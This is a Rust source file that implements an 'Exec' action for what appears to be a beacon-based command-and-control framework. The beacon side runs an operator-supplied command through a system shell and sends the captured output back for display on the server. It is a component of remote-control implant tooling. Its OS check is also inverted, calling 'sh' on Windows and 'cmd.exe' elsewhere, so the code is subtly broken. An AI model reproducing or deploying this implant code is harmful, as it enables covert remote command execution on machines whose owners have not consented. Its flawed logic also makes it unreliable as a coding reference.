#[cfg(feature = "server")] use leptos::{either::Either, prelude::*}; use serde::{Deserialize, Serialize}; #[cfg(feature = "beacon")] use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters}; use crate::version::Version; #[derive(Debug, Serialize, Deserialize, Clone)] pub struct Exec { exec_cmd: String } #[async_trait::async_trait] impl super::Action for Exec { const REQ_VERSION: Version = Version::new(2, 0); const REQ_OS: Option<&'static str> = None; const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[ ("Command to execute", "exec_cmd", None) ]; type ActionData = String; #[cfg(feature = "server-ssr")] type BuilderData = Self; #[cfg(feature = "server-ssr")] async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result { Ok(data) } #[cfg(feature = "beacon")] async fn execute<'a, T, S>( &self, _parameters: &Parameters, _adapter: &'a T, _client: &'a hyper_util::client::legacy::Client> ) -> Result> where T: 'static + BeaconAdapter, S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static { use std::process::Stdio; use tokio::{io::AsyncReadExt, process::Command}; let mut output: Vec = Vec::new(); let mut cmd = if cfg!(target_os = "windows") { Command::new("sh") .arg("-c") .arg(self.exec_cmd.clone()) .stdout(Stdio::piped()) .stderr(Stdio::piped()) .spawn()? } else { Command::new("cmd.exe") .arg("/c") .arg(self.exec_cmd.clone()) .stdout(Stdio::piped()) .stderr(Stdio::piped()) .spawn()? }; let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?; let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?; let mut stdout_buffer = [0u8; 4096]; let mut stderr_buffer = [0u8; 4096]; loop { tokio::select! { amt = stdout.read(&mut stdout_buffer) => { let str_out = match std::str::from_utf8(&stdout_buffer[..amt?]) { Ok(v) => v.to_string(), Err(_) => "(invalid UTF-8 chunk)".to_string() }; output.push(str_out); }, amt = stderr.read(&mut stderr_buffer) => { let str_out = match std::str::from_utf8(&stderr_buffer[..amt?]) { Ok(v) => v.to_string(), Err(_) => "(invalid UTF-8 chunk)".to_string() }; output.push(str_out); }, _ = cmd.wait() => { break; } } } Ok(output.join("")) } #[cfg(feature = "server")] fn render_data(&self, data: Self::ActionData) -> AnyView { view! {
"execute command: " {self.exec_cmd.clone()}
{if data.len() > 0 { Either::Left(view! { "results:"
                            {data.clone()}
                        
}) } else { Either::Right(view! {
"results: (empty)"
}) }}
} .into_any() } #[cfg(feature = "server")] fn render_empty(&self) -> AnyView { view! {
"execute command: " {self.exec_cmd.clone()}
} .into_any() } }